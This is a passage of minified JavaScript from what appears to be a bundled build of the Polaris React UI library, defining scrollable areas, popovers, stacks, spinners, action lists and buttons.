a=r-n;e.toggleLock(),e.setState({scrollPosition:a>_r?_r:a},(function(){window.requestAnimationFrame(e.scrollStep)}))}}},e.scrollStep=function(){e.setState((function(e){var t=e.scrollPosition,n=.2*t;return{scrollPosition:n<.2?0:t-n}}),(function(){e.state.scrollPosition>0?window.requestAnimationFrame(e.scrollStep):e.toggleLock(!1)}))},e.scrollToPosition=function(t){e.setState({scrollPosition:t})},e}return(0,f.Z)(n,[{key:"componentDidMount",value:function(){var e=this;null!=this.scrollArea&&(this.stickyManager.setContainer(this.scrollArea),this.scrollArea.addEventListener("scroll",(function(){window.requestAnimationFrame(e.handleScroll)})),window.addEventListener("resize",this.handleResize),window.requestAnimationFrame((function(){e.handleScroll(),e.props.hint&&e.scrollHint()})))}},{key:"componentWillUnmount",value:function(){null!=this.scrollArea&&(this.scrollArea.removeEventListener("scroll",this.handleScroll),window.removeEventListener("resize",this.handleResize),this.stickyManager.removeScrollListener())}},{key:"componentDidUpdate",value:function(){var e=this.state.scrollPosition;e&&this.scrollArea&&e>0&&(this.scrollArea.scrollTop=e)}},{key:"render",value:function(){var e=this.state,t=e.topShadow,n=e.bottomShadow,a=e.canScroll,o=this.props,i=o.children,l=o.className,s=o.horizontal,c=o.vertical,d=void 0===c||c,f=(o.shadow,o.hint,o.focusable),p=(o.onScrolledToBottom,u(o,kr)),h=Xe(l,br,d&&wr,s&&yr,t&&Er,n&&Sr,d&&a&&xr);return r.createElement(gr.Provider,{value:this.scrollToPosition},r.createElement(pe.Provider,{value:this.stickyManager},r.createElement("div",Object.assign({className:h},_,p,{ref:this.setScrollArea,tabIndex:f?0:void 0}),i)))}},{key:"toggleLock",value:function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0],t=this.scrollArea;null!=t&&Cr.forEach((function(n){e?t.addEventListener(n,Tr):t.removeEventListener(n,Tr)}))}}],[{key:"forNode",value:function(e){var t=e.closest(C);return t instanceof HTMLElement?t:document}}]),n}(r.Component);function Tr(e){e.preventDefault()}Nr.ScrollTo=function(){var e=(0,r.useRef)(null),t=(0,r.useContext)(gr);(0,r.useEffect)((function(){t&&e.current&&t(e.current.offsetTop)}),[t]);var n=qe("ScrollTo");return r.createElement("a",{id:n,ref:e})};var Ar,Mr,Lr={childList:!0,subtree:!0,characterData:!0},Or=function(e){h(n,e);var t=w(n);function n(e){var r;return(0,d.Z)(this,n),(r=t.call(this,e)).state={measuring:!0,activatorRect:z(r.props.activator),right:void 0,left:void 0,top:0,height:0,width:null,positioning:"below",zIndex:null,outsideScrollableContainer:!1,lockPosition:!1},r.overlay=null,r.scrollableContainer=null,r.observer=void 0,r.overlayDetails=function(){var e=r.state,t=e.measuring,n=e.left,a=e.right,o=e.positioning;return{measuring:t,left:n,right:a,desiredHeight:e.height,positioning:o,activatorRect:e.activatorRect}},r.setOverlay=function(e){r.overlay=e},r.handleMeasurement=function(){var e=r.state,t=e.lockPosition,n=e.top;r.observer.disconnect(),r.setState((function(e){var t=e.left,n=e.top;return{left:t,right:e.right,top:n,height:0,positioning:"below",measuring:!0}}),(function(){if(null!=r.overlay&&null!=r.scrollableContainer){var e=r.props,a=e.activator,o=e.preferredPosition,i=void 0===o?"below":o,s=e.preferredAlignment,u=void 0===s?"center":s,c=e.onScrollOut,d=e.fullWidth,f=e.fixed,p=e.preferInputActivator,h=z((void 0===p||p)&&a.querySelector("input")||a),m=z(r.overlay),v=r.scrollableContainer===document?document.body:r.scrollableContainer,g=z(v),b=d?new H(l(l({},m),{},{width:h.width})):m;v===document.body&&(g.height=document.body.scrollHeight);var y=0,w=v.querySelector("".concat(M));w&&(y=w.clientHeight);var x=r.overlay.firstElementChild&&r.overlay.firstChild instanceof HTMLElement?function(e){var t=window.getComputedStyle(e);return{activator:parseFloat(t.marginTop||"0"),container:parseFloat(t.marginBottom||"0"),horizontal:parseFloat(t.marginLeft||"0")}}(r.overlay.firstElementChild):{activator:0,container:0,horizontal:0},E=pr(),S=function(e){var t=e.closest(N.selector)||document.body,n=t===document.body?"auto":parseInt(window.getComputedStyle(t).zIndex||"0",10);return"auto"===n||isNaN(n)?null:n}(a),k=null==S?S:S+1,_=function(e,t,n,r,a,o,i){var l=arguments.length>7&&void 0!==arguments[7]?arguments[7]:0,s=e.top,u=s+e.height,c=e.top-l,d=a.height-e.top-e.height,f=t.height,p=n.activator+n.container,h=n.container,m=e.top-Math.max(r.top,0),v=a.top+Math.min(a.height,r.top+r.height)-(e.top+e.height),g=m>=h,b=v>=h,y=Math.min(d,f),w=Math.min(c,f),x=i?0:a.top,E={height:w-p,top:s+x-w,positioning:"above"},S={height:y-p,top:u+x,positioning:"below"};return"above"===o?(g||m>=v&&!b)&&(c>f||c>d)?E:S:"below"===o?(b||v>=m&&!g)&&(d>f||d>c)?S:E:g&&b?c>d?E:S:m>h?E:S}(h,b,x,g,E,i,f,y),C=function(e,t,n,r,a){var o=n.width-t.width;if("left"===a)return Math.min(o,Math.max(0,e.left-r.horizontal));if("right"===a){var i=n.width-(e.left+e.width);return Math.min(o,Math.max(0,i-r.horizontal))}return Math.min(o,Math.max(0,e.center.x-t.width/2))}(h,b,E,x,u);r.setState({measuring:!1,activatorRect:z(a),left:"right"!==u?C:void 0,right:"right"===u?C:void 0,top:t?n:_.top,lockPosition:Boolean(f),height:_.height||0,width:d?b.width:null,positioning:_.positioning,outsideScrollableContainer:null!=c&&dr(h,fr(g)),zIndex:k},(function(){r.overlay&&(r.observer.observe(r.overlay,Lr),r.observer.observe(a,Lr))}))}}))},r.observer=new MutationObserver(r.handleMeasurement),r}return(0,f.Z)(n,[{key:"componentDidMount",value:function(){this.scrollableContainer=Nr.forNode(this.props.activator),this.scrollableContainer&&!this.props.fixed&&this.scrollableContainer.addEventListener("scroll",this.handleMeasurement),this.handleMeasurement()}},{key:"componentWillUnmount",value:function(){this.observer.disconnect(),this.scrollableContainer&&!this.props.fixed&&this.scrollableContainer.removeEventListener("scroll",this.handleMeasurement)}},{key:"componentDidUpdate",value:function(){var e=this.state,t=e.outsideScrollableContainer,n=e.top,r=this.props,a=r.onScrollOut;r.active&&null!=a&&0!==n&&t&&a()}},{key:"render",value:function(){var e=this.state,t=e.left,n=e.right,a=e.top,o=e.zIndex,i=e.width,l=this.props,s=l.render,u=l.fixed,c=l.preventInteraction,d=l.classNames,f=l.zIndexOverride,p={top:null==a||isNaN(a)?void 0:a,left:null==t||isNaN(t)?void 0:t,right:null==n||isNaN(n)?void 0:n,width:null==i||isNaN(i)?void 0:i,zIndex:f||o||void 0},h=Xe(hr,u&&mr,c&&vr,d);return r.createElement("div",{className:h,style:p,ref:this.setOverlay},r.createElement(Te,{event:"resize",handler:this.handleMeasurement}),s(this.overlayDetails()))}},{key:"forceUpdatePosition",value:function(){requestAnimationFrame(this.handleMeasurement)}}]),n}(r.PureComponent);function Fr(e){var t=e.children;return r.createElement("div",{className:ir},t)}function Ir(e){var t=e.fixed,n=e.sectioned,a=e.children,o=e.onScrolledToBottom,i=Xe(ar,t&&or),l=n?Dn(a,Fr,{}):a;return t?r.createElement("div",{className:i},l):r.createElement(Nr,{shadow:!0,className:i,onScrolledToBottom:o},l)}!function(e){e[e.Click=0]="Click",e[e.EscapeKeypress=1]="EscapeKeypress",e[e.FocusOut=2]="FocusOut",e[e.ScrollOut=3]="ScrollOut"}(Ar||(Ar={})),function(e){e.Entering="entering",e.Entered="entered",e.Exiting="exiting",e.Exited="exited"}(Mr||(Mr={}));var jr=function(e){h(n,e);var t=w(n);function n(e){var a;return(0,d.Z)(this,n),(a=t.call(this,e)).state={transitionStatus:a.props.active?Mr.Entering:Mr.Exited},a.contentNode=(0,r.createRef)(),a.enteringTimer=void 0,a.exitingTimer=void 0,a.overlayRef=void 0,a.renderPopover=function(e){var t=e.measuring,n=e.desiredHeight,o=e.positioning,i=a.props,l=i.id,s=i.children,u=i.sectioned,c=i.fullWidth,d=i.fullHeight,f=i.fluidContent,p=i.hideOnPrint,h=i.colorScheme,m=i.autofocusTarget,v=Xe(Zn,"above"===o&&er,c&&Xn,t&&Qn,p&&sr),g=t?void 0:{height:n},b=Xe(Jn,d&&nr,f&&rr),y=r.createElement("div",{id:l,tabIndex:"none"===m?void 0:-1,className:b,style:g,ref:a.contentNode},function(e,t){var n=r.Children.toArray(e);if(Un(n[0],Ir))return n;return Dn(n,Ir,t)}(s,{sectioned:u}));return r.createElement("div",Object.assign({className:v},P.props),r.createElement(Te,{event:"click",handler:a.handleClick}),r.createElement(Te,{event:"touchstart",handler:a.handleClick}),r.createElement(cr,{keyCode:Hn.Escape,handler:a.handleEscape}),r.createElement("div",{className:lr,tabIndex:0,onFocus:a.handleFocusFirstItem}),r.createElement(_e,{alwaysRenderCustomProperties:!0,theme:{colorScheme:h}},r.createElement("div",{className:tr},y)),r.createElement("div",{className:lr,tabIndex:0,onFocus:a.handleFocusLastItem}))},a.handleClick=function(e){var t=e.target,n=b(a),r=n.contentNode,o=n.props,i=o.activator,l=o.onClose,s=null!=r.current&&Rr(r.current,t),u=Rr(i,t);s||u||a.state.transitionStatus!==Mr.Entered||l(Ar.Click)},a.handleScrollOut=function(){a.props.onClose(Ar.ScrollOut)},a.handleEscape=function(){a.props.onClose(Ar.EscapeKeypress)},a.handleFocusFirstItem=function(){a.props.onClose(Ar.FocusOut)},a.handleFocusLastItem=function(){a.props.onClose(Ar.FocusOut)},a.overlayRef=(0,r.createRef)(),a}return(0,f.Z)(n,[{key:"forceUpdatePosition",value:function(){var e;null===(e=this.overlayRef.current)||void 0===e||e.forceUpdatePosition()}},{key:"changeTransitionStatus",value:function(e,t){this.setState({transitionStatus:e},t),this.contentNode.current&&this.contentNode.current.getBoundingClientRect()}},{key:"componentDidMount",value:function(){this.props.active&&(this.focusContent(),this.changeTransitionStatus(Mr.Entered))}},{key:"componentDidUpdate",value:function(e){var t=this;this.props.active&&!e.active&&(this.focusContent(),this.changeTransitionStatus(Mr.Entering,(function(){t.clearTransitionTimeout(),t.enteringTimer=window.setTimeout((function(){t.setState({transitionStatus:Mr.Entered})}),S)}))),!this.props.active&&e.active&&this.changeTransitionStatus(Mr.Exiting,(function(){t.clearTransitionTimeout(),t.exitingTimer=window.setTimeout((function(){t.setState({transitionStatus:Mr.Exited})}),S)}))}},{key:"componentWillUnmount",value:function(){this.clearTransitionTimeout()}},{key:"render",value:function(){var e=this.props,t=e.active,n=e.activator,a=e.fullWidth,o=e.preferredPosition,i=void 0===o?"below":o,l=e.preferredAlignment,s=void 0===l?"center":l,u=e.preferInputActivator,c=void 0===u||u,d=e.fixed,f=e.zIndexOverride,p=this.state.transitionStatus;if(p===Mr.Exited&&!t)return null;var h=Xe(Kn,p===Mr.Entering&&Gn,p===Mr.Entered&&$n,p===Mr.Exiting&&Yn);return r.createElement(Or,{ref:this.overlayRef,fullWidth:a,active:t,activator:n,preferInputActivator:c,preferredPosition:i,preferredAlignment:s,render:this.renderPopover.bind(this),fixed:d,onScrollOut:this.handleScrollOut,classNames:h,zIndexOverride:f})}},{key:"clearTransitionTimeout",value:function(){this.enteringTimer&&window.clearTimeout(this.enteringTimer),this.exitingTimer&&window.clearTimeout(this.exitingTimer)}},{key:"focusContent",value:function(){var e=this,t=this.props.autofocusTarget,n=void 0===t?"container":t;"none"!==n&&null!=this.contentNode&&requestAnimationFrame((function(){if(null!=e.contentNode.current){var t=Nn(e.contentNode.current);t&&"first-node"===n?t.focus({preventScroll:!1}):e.contentNode.current.focus({preventScroll:!1})}}))}}]),n}(r.PureComponent);function Rr(e,t){if(e===t)return!0;for(var n=t.parentNode;null!=n;){if(n===e)return!0;n=n.parentNode}return!1}var Br=["activatorWrapper","children","onClose","activator","preventFocusOnClose","active","fixed","ariaHaspopup","preferInputActivator","colorScheme","zIndexOverride"],Dr=(0,r.forwardRef)((function(e,t){var n=e.activatorWrapper,a=void 0===n?"div":n,o=e.children,i=e.onClose,l=e.activator,s=e.preventFocusOnClose,c=e.active,d=e.fixed,f=e.ariaHaspopup,p=e.preferInputActivator,h=void 0===p||p,m=e.colorScheme,v=e.zIndexOverride,g=u(e,Br),b=ne((0,r.useState)(),2),y=b[0],w=b[1],x=(0,r.useRef)(null),E=(0,r.useRef)(null),S=a,k=qe("popover");function _(){var e;null===(e=x.current)||void 0===e||e.forceUpdatePosition()}(0,r.useImperativeHandle)(t,(function(){return{forceUpdatePosition:_}}));var C=(0,r.useCallback)((function(){if(null!=E.current){var e=Tn(E.current)||E.current,t="disabled"in e&&Boolean(e.disabled);!function(e,t){var n=t.id,r=t.active,a=void 0!==r&&r,o=t.ariaHaspopup,i=t.activatorDisabled;void 0!==i&&i||(e.tabIndex=e.tabIndex||0),e.setAttribute("aria-controls",n),e.setAttribute("aria-owns",n),e.setAttribute("aria-expanded",String(a)),null!=o&&e.setAttribute("aria-haspopup",String(o))}(e,{id:k,active:c,ariaHaspopup:f,activatorDisabled:t})}}),[k,c,f]);(0,r.useEffect)((function(){(!y&&E.current||y&&E.current&&!E.current.contains(y))&&w(E.current.firstElementChild),C()}),[y,C]),(0,r.useEffect)((function(){y&&E.current&&w(E.current.firstElementChild),C()}),[y,C]);var P=y?r.createElement(Rn,{idPrefix:"popover"},r.createElement(jr,Object.assign({ref:x,id:k,activator:y,preferInputActivator:h,onClose:function(e){if(i(e),null!=E.current&&!s&&(e===Ar.FocusOut||e===Ar.EscapeKeypress)&&y){var t=Tn(y)||Tn(E.current)||E.current;Mn(t,Hr)||t.focus()}},active:c,fixed:d,colorScheme:m,zIndexOverride:v},g),o)):null;return r.createElement(S,{ref:E},r.Children.only(l),P)}));function Hr(e){for(var t=e.parentElement;t;){if(t.matches(F))return!1;t=t.parentElement}return!0}var zr=Object.assign(Dr,{Pane:Ir,Section:Fr}),Ur={Stack:"Polaris-Stack",Item:"Polaris-Stack__Item",noWrap:"Polaris-Stack--noWrap",spacingNone:"Polaris-Stack--spacingNone",spacingExtraTight:"Polaris-Stack--spacingExtraTight",spacingTight:"Polaris-Stack--spacingTight",spacingBaseTight:"Polaris-Stack--spacingBaseTight",spacingLoose:"Polaris-Stack--spacingLoose",spacingExtraLoose:"Polaris-Stack--spacingExtraLoose",distributionLeading:"Polaris-Stack--distributionLeading",distributionTrailing:"Polaris-Stack--distributionTrailing",distributionCenter:"Polaris-Stack--distributionCenter",distributionEqualSpacing:"Polaris-Stack--distributionEqualSpacing",distributionFill:"Polaris-Stack--distributionFill",distributionFillEvenly:"Polaris-Stack--distributionFillEvenly",alignmentLeading:"Polaris-Stack--alignmentLeading",alignmentTrailing:"Polaris-Stack--alignmentTrailing",alignmentCenter:"Polaris-Stack--alignmentCenter",alignmentFill:"Polaris-Stack--alignmentFill",alignmentBaseline:"Polaris-Stack--alignmentBaseline",vertical:"Polaris-Stack--vertical","Item-fill":"Polaris-Stack__Item--fill"};function Wr(e){var t=e.children,n=e.fill,a=Xe(Ur.Item,n&&Ur["Item-fill"]);return r.createElement("div",{className:a},t)}var Vr=(0,r.memo)((function(e){var t=e.children,n=e.vertical,a=e.spacing,o=e.distribution,i=e.alignment,l=e.wrap,s=Xe(Ur.Stack,n&&Ur.vertical,a&&Ur[Je("spacing",a)],o&&Ur[Je("distribution",o)],i&&Ur[Je("alignment",i)],!1===l&&Ur.noWrap),u=Wn(t).map((function(e,t){return Dn(e,Wr,{key:t})}));return r.createElement("div",{className:s},u)}));Vr.Item=Wr;var qr={TextContainer:"Polaris-TextContainer",spacingTight:"Polaris-TextContainer--spacingTight",spacingLoose:"Polaris-TextContainer--spacingLoose"};function Zr(e){var t=e.spacing,n=e.children,a=Xe(qr.TextContainer,t&&qr[Je("spacing",t)]);return r.createElement("div",{className:a},n)}var Kr,Gr="Polaris-Heading";function $r(e){var t=e.element,n=void 0===t?"h2":t,a=e.children,o=e.id;return r.createElement(n,{className:Gr,id:o},a)}var Yr,Qr,Xr=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Kr||(Kr=r.createElement("path",{d:"M13.098 8H6.902c-.751 0-1.172.754-.708 1.268L9.292 12.7c.36.399 1.055.399 1.416 0l3.098-3.433C14.27 8.754 13.849 8 13.098 8z"})))},Jr=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Yr||(Yr=r.createElement("path",{d:"M7.676 9h4.648c.563 0 .879-.603.53-1.014L10.531 5.24a.708.708 0 0 0-1.062 0L7.145 7.986C6.798 8.397 7.113 9 7.676 9zm4.648 2H7.676c-.563 0-.878.603-.53 1.014l2.323 2.746c.27.32.792.32 1.062 0l2.323-2.746c.349-.411.033-1.014-.53-1.014z"})))},ea=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Qr||(Qr=r.createElement("path",{d:"M6.902 12h6.196c.751 0 1.172-.754.708-1.268L10.708 7.3c-.36-.399-1.055-.399-1.416 0l-3.098 3.433C5.73 11.246 6.151 12 6.902 12z"})))},ta={Button:"Polaris-Button",pressed:"Polaris-Button--pressed",disabled:"Polaris-Button--disabled",connectedDisclosure:"Polaris-Button--connectedDisclosure",Content:"Polaris-Button__Content",plain:"Polaris-Button--plain",textAlignLeft:"Polaris-Button--textAlignLeft",textAlignCenter:"Polaris-Button--textAlignCenter",textAlignRight:"Polaris-Button--textAlignRight",Icon:"Polaris-Button__Icon",fullWidth:"Polaris-Button--fullWidth",hidden:"Polaris-Button--hidden",Spinner:"Polaris-Button__Spinner",primary:"Polaris-Button--primary",destructive:"Polaris-Button--destructive",outline:"Polaris-Button--outline",loading:"Polaris-Button--loading",removeUnderline:"Polaris-Button--removeUnderline",iconOnly:"Polaris-Button--iconOnly",sizeSlim:"Polaris-Button--sizeSlim",sizeLarge:"Polaris-Button--sizeLarge",monochrome:"Polaris-Button--monochrome",Text:"Polaris-Button__Text",ConnectedDisclosureWrapper:"Polaris-Button__ConnectedDisclosureWrapper",ConnectedDisclosure:"Polaris-Button__ConnectedDisclosure"};function na(){var e=ne((0,r.useState)(!1),2),t=e[0],n=e[1];return(0,r.useEffect)((function(){n(!0)}),[]),t}var ra={Spinner:"Polaris-Spinner",loading:"Polaris-Spinner--loading",sizeSmall:"Polaris-Spinner--sizeSmall",sizeLarge:"Polaris-Spinner--sizeLarge"};function aa(e){var t=e.size,n=void 0===t?"large":t,a=e.accessibilityLabel,o=e.hasFocusableParent,i=na(),s=Xe(ra.Spinner,n&&ra[Je("size",n)]),u="large"===n?r.createElement("svg",{viewBox:"0 0 44 44",xmlns:"http://www.w3.org/2000/svg"},r.createElement("path",{d:"M15.542 1.487A21.507 21.507 0 00.5 22c0 11.874 9.626 21.5 21.5 21.5 9.847 0 18.364-6.675 20.809-16.072a1.5 1.5 0 00-2.904-.756C37.803 34.755 30.473 40.5 22 40.5 11.783 40.5 3.5 32.217 3.5 22c0-8.137 5.3-15.247 12.942-17.65a1.5 1.5 0 10-.9-2.863z"})):r.createElement("svg",{viewBox:"0 0 20 20",xmlns:"http://www.w3.org/2000/svg"},r.createElement("path",{d:"M7.229 1.173a9.25 9.25 0 1011.655 11.412 1.25 1.25 0 10-2.4-.698 6.75 6.75 0 11-8.506-8.329 1.25 1.25 0 10-.75-2.385z"})),c=l({},!o&&{role:"status"}),d=(i||!o)&&r.createElement(Dt,null,a);return r.createElement(r.Fragment,null,r.createElement("span",{className:s},u),r.createElement("span",c,d))}var oa,ia="Polaris-ActionList",la="Polaris-ActionList__Section--withoutTitle",sa="Polaris-ActionList__Actions",ua="Polaris-ActionList__Section",ca="Polaris-ActionList__Title",da="Polaris-ActionList--firstSectionWithTitle",fa="Polaris-ActionList__Item",pa="Polaris-ActionList--active",ha="Polaris-ActionList--destructive",ma="Polaris-ActionList--disabled",va="Polaris-ActionList__Prefix",ga="Polaris-ActionList__Suffix",ba="Polaris-ActionList__Content",ya="Polaris-ActionList__ContentBlock",wa="Polaris-ActionList__ContentBlockInner",xa="Polaris-ActionList__Text",Ea={variationPositive:"Polaris-TextStyle--variationPositive",variationNegative:"Polaris-TextStyle--variationNegative",variationWarning:"Polaris-TextStyle--variationWarning",variationCode:"Polaris-TextStyle--variationCode",variationStrong:"Polaris-TextStyle--variationStrong",variationSubdued:"Polaris-TextStyle--variationSubdued"};function Sa(e){var t=e.variation,n=e.children,a=Xe(t&&Ea[Je("variation",t)],t===oa.Code&&Ea.code),o=function(e){return e===oa.Code?"code":"span"}(t);return r.createElement(o,{className:a},n)}function ka(e){var t=e.id,n=e.badge,a=e.content,o=e.accessibilityLabel,i=e.helpText,l=e.url,s=e.onAction,u=e.icon,c=e.image,d=e.prefix,f=e.suffix,p=e.disabled,h=e.external,m=e.destructive,v=e.ellipsis,g=e.active,b=e.role,y=Xe(fa,p&&ma,m&&ha,g&&pa),w=null;d?w=r.createElement("span",{className:va},d):u?w=r.createElement("span",{className:va},r.createElement(zt,{source:u})):c&&(w=r.createElement("span",{role:"presentation",className:va,style:{backgroundImage:"url(".concat(c)}}));var x=v&&a?"".concat(a,"\u2026"):a,E=i?r.createElement("span",{className:ya},r.createElement("span",{className:wa},x),r.createElement(Sa,{variation:"subdued"},i)):x,S=n&&r.createElement("span",{className:ga},r.createElement(En,{status:n.status},n.content)),k=f&&r.createElement("span",{className:ga},f),_=r.createElement("span",{className:xa},E),C=r.createElement("span",{className:ba},w,_,S,k),P=g?r.createElement(Nr.ScrollTo,null):null,N=l?r.createElement(sn,{id:t,url:p?null:l,className:y,external:h,"aria-label":o,onClick:p?null:s,role:b},C):r.createElement("button",{id:t,type:"button",className:y,disabled:p,"aria-label":o,onClick:s,onMouseUp:Pn,role:b},C);return r.createElement("li",{role:"menuitem"===b?"presentation":void 0},P,N)}!function(e){e.Positive="positive",e.Negative="negative",e.Warning="warning",e.Strong="strong",e.Subdued="subdued",e.Code="code"}(oa||(oa={}));var _a=["content","helpText","onAction"];function Ca(e){var t,n=e.section,a=e.hasMultipleSections,o=e.actionRole,i=e.firstSection,l=e.onActionAnyItem,s=n.items.map((function(e,t){var n,a=e.content,i=e.helpText,s=e.onAction,c=u(e,_a);return r.createElement(ka,Object.assign({key:"".concat(a,"-").concat(t),content:a,helpText:i,role:o,onAction:(n=s,function(){n&&n(),l&&l()})},c))})),c=n.title?void 0:la,d=Xe(ca,i&&da),f=n.title?r.createElement("p",{className:d},n.title):null;switch(o){case"option":t="presentation";break;case"menuitem":t=a?"presentation":"menu";break;default:t=void 0}var p=r.createElement("div",{className:c},f,r.createElement("ul",{className:sa,role:t,tabIndex:a?void 0:-1},s));return a?r.createElement("li",{className:ua,role:"presentation"},p):p}function Pa(e){var t=e.items,n=e.sections,a=void 0===n?[]:n,o=e.actionRole,i=e.onActionAnyItem,l=[],s=(0,r.useRef)(null);t?l=[{items:t}].concat(te(a)):a&&(l=a);var u=Xe(ia),c=l.length>1,d=c?"ul":"div",f=c&&"menuitem"===o?"menu":void 0,p=c&&"menuitem"===o?-1:void 0,h=l.map((function(e,t){return e.items.length>0?r.createElement(Ca,{key:e.title||t,firstSection:0===t,section:e,hasMultipleSections:c,actionRole:o,onActionAnyItem:i}):null})),m="menuitem"===o?r.createElement(r.Fragment,null,r.createElement(cr,{keyEvent:"keydown",keyCode:Hn.DownArrow,handler:function(e){e.preventDefault(),s.current&&e.target&&s.current.contains(e.target)&&function(e,t){var n=Fn(e),r=In(n,t);-1===r?n[0].focus():n[(r+1)%n.length].focus()}(s.current,e.target)}}),r.createElement(cr,{keyEvent:"keydown",keyCode:Hn.UpArrow,handler:function(e){e.preventDefault(),s.current&&e.target&&s.current.contains(e.target)&&function(e,t){var n=Fn(e),r=In(n,t);-1===r?n[0].focus():n[(r-1+n.length)%n.length].focus()}(s.current,e.target)}})):null;return r.createElement(d,{ref:s,className:u,role:f,tabIndex:p},m,h)}var Na=["id","children","className","url","external","download","submit","disabled","loading","pressed","accessibilityLabel","role","ariaControls","ariaExpanded","ariaDescribedBy","onClick","onFocus","onBlur","onKeyDown","onKeyPress","onKeyUp","onMouseEnter","onTouchStart"];function Ta(e){var t=e.id,n=e.children,a=e.className,o=e.url,i=e.external,s=e.download,c=e.submit,d=e.disabled,f=e.loading,p=e.pressed,h=e.accessibilityLabel,m=e.role,v=e.ariaControls,g=e.ariaExpanded,b=e.ariaDescribedBy,y=e.onClick,w=e.onFocus,x=e.onBlur,E=e.onKeyDown,S=e.onKeyPress,k=e.onKeyUp,_=e.onMouseEnter,C=e.onTouchStart,P=u(e,Na),N={id:t,className:a,"aria-label":h},T=l(l({},N),{},{role:m,onClick:y,onFocus:w,onBlur:x,onMouseUp:Pn,onMouseEnter:_,onTouchStart:C});return o?d?r.createElement("a",N,n):r.createElement(sn,Object.assign({},T,{url:o,external:i,download:s},P),n):r.createElement("button",Object.assign({},T,{type:c?"submit":"button",disabled:d,"aria-busy":!!f||void 0,"aria-controls":v,"aria-expanded":g,"aria-describedby":b,"aria-pressed":p,onKeyDown:E,onKeyUp:k,onKeyPress:S},P),n)}var Aa="medium";function Ma(e){var t,n,a=e.id,o=e.children,i=e.url,l=e.disabled,s=e.external,u=e.download,c=e.submit,d=e.loading,f=e.pressed,p=e.accessibilityLabel,h=e.role,m=e.ariaControls,v=e.ariaExpanded,g=e.ariaDescribedBy,b=e.onClick,y=e.onFocus,w=e.onBlur,x=e.onKeyDown,E=e.onKeyPress,S=e.onKeyUp,k=e.onMouseEnter,_=e.onTouchStart,C=e.icon,P=e.primary,N=e.outline,T=e.destructive,A=e.disclosure,M=e.plain,L=e.monochrome,O=e.removeUnderline,F=e.size,I=void 0===F?Aa:F,j=e.textAlign,R=e.fullWidth,B=e.connectedDisclosure,D=jt(),H=l||d,z=Xe(ta.Button,P&&ta.primary,N&&ta.outline,T&&ta.destructive,H&&ta.disabled,d&&ta.loading,M&&ta.plain,f&&!l&&!i&&ta.pressed,L&&ta.monochrome,I&&I!==Aa&&ta[Je("size",I)],j&&ta[Je("textAlign",j)],R&&ta.fullWidth,C&&null==o&&ta.iconOnly,B&&ta.connectedDisclosure,O&&ta.removeUnderline),U=A?r.createElement("span",{className:ta.Icon},r.createElement("div",{className:Xe(ta.DisclosureIcon,d&&ta.hidden)},r.createElement(zt,{source:d?"placeholder":La(A)}))):null,W="string"===typeof(t=C)||"object"===typeof t&&t.body||"function"===typeof t?r.createElement(zt,{source:d?"placeholder":C}):C,V=W?r.createElement("span",{className:Xe(ta.Icon,d&&ta.hidden)},W):null,q=o?r.createElement("span",{className:Xe(ta.Text,O&&ta.removeUnderline),key:l?"text-disabled":"text"},o):null,Z=d?r.createElement("span",{className:ta.Spinner},r.createElement(aa,{size:"small",accessibilityLabel:D.translate("Polaris.Button.spinnerAccessibilityLabel")})):null,K=ne((0,r.useState)(!1),2),G=K[0],$=K[1],Y=(0,r.useCallback)((function(){$((function(e){return!e}))}),[]);if(B){var Q=Xe(ta.Button,P&&ta.primary,N&&ta.outline,I&&I!==Aa&&ta[Je("size",I)],j&&ta[Je("textAlign",j)],T&&ta.destructive,B.disabled&&ta.disabled,ta.iconOnly,ta.ConnectedDisclosure,L&&ta.monochrome),X=D.translate("Polaris.Button.connectedDisclosureAccessibilityLabel"),J=B.disabled,ee=B.accessibilityLabel,te=void 0===ee?X:ee,re=r.createElement("button",{type:"button",className:Q,disabled:J,"aria-label":te,"aria-describedby":g,onClick:Y,onMouseUp:Pn},r.createElement("span",{className:ta.Icon},r.createElement(zt,{source:Xr})));n=r.createElement(zr,{active:G,onClose:Y,activator:re,preferredAlignment:"right"},r.createElement(Pa,{items:B.actions,onActionAnyItem:Y}))}var ae={id:a,className:z,accessibilityLabel:p,ariaDescribedBy:g,role:h,onClick:b,onFocus:y,onBlur:w,onMouseUp:Pn,onMouseEnter:k,onTouchStart:_},oe={url:i,external:s,download:u},ie={submit:c,disabled:H,loading:d,ariaControls:m,ariaExpanded:v,pressed:f,onKeyDown:x,onKeyUp:S,onKeyPress:E},le=r.createElement(Ta,Object.assign({},ae,oe,ie),r.createElement("span",{className:ta.Content},Z,V,q,U));return n?r.createElement("div",{className:ta.ConnectedDisclosureWrapper},le,n):le}function La(e){return"select"===e?Jr:"up"===e?ea:Xr}function Oa(e){var t=e.title,n=e.description,a=e.action,o=e.link,i=e.badge,l=i&&r.createElement(En,{status:i.status},i.content),s=o.to,u=o.content,c=a.onClick,d=a.content;return r.createElement("div",{className:Xt},r.createElement(zr.Section,null,r.createElement(Vr,{vertical:!0,spacing:"tight"},r.createElement(Zr,null,r.createElement($r,null,t,l),r.createElement("p",null,n)),r.createElement(un,{url:s},u),r.createElement(Ma,{plain:!0,onClick:c},d))))}function Fa(e){var t=e.actions,n=e.onOpen,a=e.onClose,o=e.open,i=e.activatorContent,l=e.message,s=e.colorScheme,u=e.accessibilityLabel,c=l&&l.badge&&{content:l.badge.content,status:l.badge.status},d=l&&r.createElement(Oa,{title:l.title,description:l.description,action:{onClick:l.action.onClick,content:l.action.content},link:{to:l.link.to,content:l.link.content},badge:c}),f=Boolean(l);return r.createElement(zr,{activator:r.createElement("div",{className:Yt},r.createElement("button",{type:"button",className:Qt,onClick:n,"aria-label":u},i)),active:o,onClose:a,fixed:!0,fullHeight:f,preferredAlignment:"right",colorScheme:s},r.createElement(Pa,{onActionAnyItem:a,sections:t}),d)}var 